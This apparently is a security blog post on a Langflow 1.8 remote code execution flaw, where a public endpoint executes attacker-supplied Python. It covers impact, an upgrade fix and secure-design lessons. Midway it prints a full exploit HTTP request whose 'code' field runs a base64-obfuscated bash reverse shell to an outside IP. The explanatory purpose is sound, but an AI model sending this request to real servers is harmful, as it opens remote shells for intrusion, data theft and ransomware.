Via the news, we may have already heard that Langflow – a startup that provides tools to build AI agents – was hacked due to the most critical vulnerability: Remote Code Execution. Here, we will dig a little deeper to understand how that happened.
Remote Code Execution (RCE) is rated as a top severe cybersecurity flaw when it allows hackers to execute arbitrary code or commands on an exploited system. This means that hackers can steal any data, shut the system down at will, or, worse, encrypt all data and demand a ransom. Some hackers simply install crypto miners on exploited systems to earn Bitcoin or other cryptocurrencies. In fact, Langflow was infected by a ransomware called JadePuff via that RCE flaw.
What is Langflow, first?
Langflow is an open-source project that provides a visual framework for building AI applications. Programmatically, instead of writing hundreds of lines of Python to connect LLMs, databases, APIs, and tools together, developers can now just drag and connect components in a graph – which is called a flow. Under the hood, Langflow generates and executes Python code. Langflow is designed to be self-hosted, so companies of all sizes can deploy it on their own servers rather than relying on a hosted service.
It means that if your company is making AI agents using Langflow 1.8, you have an RCE flaw that needs to be fixed immediately!
How was Langflow Hacked?
According to security researchers, Langflow 1.8 has been compromised because it does not authenticate users properly. It may sound naive, but such incidents do occur in reality. Below is the patch from Langflow 1.9 that can fix this RCE flaw. If you have some coding experience, you can see how it happened:
Simply put, in Langflow 1.8 and lower versions, Langflow itself has an API that can receive commands from any user, completely trusts it, and executes them without any validations or restrictions.
More interesting, this endpoint does not require authentication because it is designed for public sharing. The problem is that this API accepted an optional data parameter supplied by the requester. Instead of always loading the trusted flow stored on the server, it could use the attacker-provided flow definition. That flow definition could include arbitrary Python code, which Langflow then executed using Python’s exec() without sandboxing.
Because the code executes with the privileges of the Langflow process, a successful attacker could potentially:
- Read environment variables (including API keys).
- Access files the Langflow process can read.
- Interact with internal services reachable by the server.
- Modify or delete application data.
- Install persistent malware or backdoors.
- Use stolen credentials to pivot into other systems.
The exact impact depends on how much privilege the Langflow server is configured and what secrets or network access it has.
This RCE flaw is being exploited in the wild at the time of this post. A cybercriminal gang has enough resources to scan for which companies are exposing a Langflow API and then try to install malware by simply sending an HTTP request containing Python code within it. The crafted HTTP request that exploits this RCE flaw can look like this: (take a close look at the field “code” near “CustomComponent”).
POST /api/v1/build_public_tmp/${flow_id_here}/flow HTTP/1.1Host: localhost:7860Content-Type: application/jsonCookie: client_id=${client_id_here}Connection: closeContent-Length: 1846{ "data": { "nodes": [ { "id": "${flow_id_here}", "type": "genericNode", "position": { "x": 0, "y": 0 }, "data": { "type": "CustomComponent", "id": "${flow_id_here}", "node": { "template": { "_type": "CustomComponent", "code": { "value": "from langflow.custom import Component\nfrom langflow.io import Output\n_r = __import__('os').system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4xNzgvNDQ0NCAwPiYx | base64 -d | bash\")\nclass ExploitComponent(Component):\n display_name = \"ExploitComponent\"\n outputs = [Output(display_name=\"Result\", name=\"output\", method=\"run\")]\n def run(self) -> str: return \"ok\"", "type": "code", "required": true, "show": true, "name": "code", "dynamic": false, "list": false, "multiline": true } }, "description": "poc", "display_name": "ExploitComponent", "custom_fields": {}, "output_types": [ "str" ], "base_classes": [ "str" ], "outputs": [ { "display_name": "Result", "name": "output", "method": "run", "selected": "str", "types": [ "str" ], "value": "__UNDEFINED__" } ] } } } ], "edges": [], "viewport": { "x": 0, "y": 0, "zoom": 1 } }}
(Credit: above code is collected from this security lab: https://github.com/EQSTLab/CVE-2026-33017 )
How to patch this RCE flaw ?
The only way is to upgrade to the latest version of Langflow as soon as possible!
Additionally, do not grant Langflow too much privilege (such as “root” permission, for example). The less privilege a service has, the less damage occurs if it gets hacked.
What can we learn from this incident ?
Sometimes, the most critical security flaws do not come from highly skilled exploitation, but from weak system design. Developers may not be aware of bigger problems like Remote Code Execution because they do not have cybersecurity experience. Do not underestimate users because not every user is a good person; some of them are paid to hack. This again highlights several common secure-design principles:
- Never trust user’s input, system must validate inputs seriously.
- Beware with
exec(), only use it in isolated sandbox. - Run services with least privilege, so in worst case, hacked services do not cause critical damages.
Build – Secure – Evolve with the-tech-lead.com